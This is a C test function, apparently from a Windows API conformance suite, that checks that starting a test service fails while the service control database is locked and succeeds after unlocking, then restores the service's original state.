static void Test_LockUnlockServiceDatabaseWithServiceStart(void) { BOOL bError = FALSE; SC_HANDLE hScm = NULL; SC_HANDLE hSvc = NULL; SC_LOCK hLock = NULL; LPQUERY_SERVICE_CONFIGW lpConfig = NULL; DWORD dwRequiredSize = 0; SERVICE_STATUS status; BOOL bWasRunning = FALSE; DWORD dwOldStartType = 0; /* Open the services database */ SetLastError(0xdeadbeef); hScm = OpenSCManagerW(NULL, NULL, SC_MANAGER_LOCK); ok(hScm != NULL, "Failed to open service manager, error=0x%08lx\n", GetLastError()); if (!hScm) { skip("No service control manager; cannot proceed with LockUnlockServiceDatabaseWithServiceStart test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); /* Grab a handle to the testing service */ SetLastError(0xdeadbeef); hSvc = OpenServiceW(hScm, TESTING_SERVICE, SERVICE_START | SERVICE_STOP | SERVICE_CHANGE_CONFIG | SERVICE_QUERY_CONFIG | SERVICE_QUERY_STATUS); ok(hSvc != NULL, "hSvc = 0x%p, expected non-null, error=0x%08lx\n", hSvc, GetLastError()); if (!hSvc) { skip("Cannot open a handle to service %S; cannot proceed with LockUnlockServiceDatabaseWithServiceStart test\n", TESTING_SERVICE); goto cleanup; } ok_err(ERROR_SUCCESS); /* Lock the services database */ SetLastError(0xdeadbeef); hLock = LockServiceDatabase(hScm); ok(hLock != NULL, "hLock = 0x%p, expected non-zero, error=0x%08lx\n", hLock, GetLastError()); if (!hLock) { skip("Cannot lock the services database; cannot proceed with LockUnlockServiceDatabaseWithServiceStart test\n"); goto cleanup; } ok_err(ERROR_SUCCESS); /* To proceed further, firstly attempt to stop the testing service */ QueryServiceConfigW(hSvc, NULL, 0, &dwRequiredSize); lpConfig = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRequiredSize); QueryServiceConfigW(hSvc, lpConfig, dwRequiredSize, &dwRequiredSize); dwOldStartType = lpConfig->dwStartType; HeapFree(GetProcessHeap(), 0, lpConfig); if (dwOldStartType == SERVICE_DISABLED) { ChangeServiceConfigW(hSvc, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_NO_CHANGE, NULL, NULL, NULL, NULL, NULL, NULL, NULL); } QueryServiceStatus(hSvc, &status); bWasRunning = (status.dwCurrentState != SERVICE_STOPPED); if (bWasRunning) { ControlService(hSvc, SERVICE_CONTROL_STOP, &status); Sleep(1000); /* Wait 1 second for the service to stop */ } /* Now try to start it (this test won't work under Windows Vista / 7 / 8) */ SetLastError(0xdeadbeef); bError = StartServiceW(hSvc, 0, NULL); ok(bError == FALSE, "bError = %u, expected FALSE\n", bError); ok_err(ERROR_SERVICE_DATABASE_LOCKED); Sleep(1000); /* Wait 1 second for the service to start */ /* Stop the testing service */ ControlService(hSvc, SERVICE_CONTROL_STOP, &status); Sleep(1000); /* Wait 1 second for the service to stop */ /* Now unlock the services database */ SetLastError(0xdeadbeef); bError = UnlockServiceDatabase(hLock); ok(bError == TRUE, "bError = %u, expected TRUE\n", bError); ok_err(ERROR_SUCCESS); /* Try to start again the service, this time the database unlocked */ SetLastError(0xdeadbeef); bError = StartServiceW(hSvc, 0, NULL); ok(bError == TRUE, "bError = %u, expected TRUE\n", bError); ok_err(ERROR_SUCCESS); Sleep(1000); /* Wait 1 second for the service to start */ /* Stop the testing service */ ControlService(hSvc, SERVICE_CONTROL_STOP, &status); Sleep(1000); /* Wait 1 second for the service to stop */ /* Restore its original state */ if (bWasRunning) { StartServiceW(hSvc, 0, NULL); } if (dwOldStartType == SERVICE_DISABLED) { ChangeServiceConfigW(hSvc, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE, NULL, NULL, NULL, NULL, NULL, NULL, NULL); } cleanup: if (hSvc) CloseServiceHandle(hSvc); if (hScm) CloseServiceHandle(hScm); return; }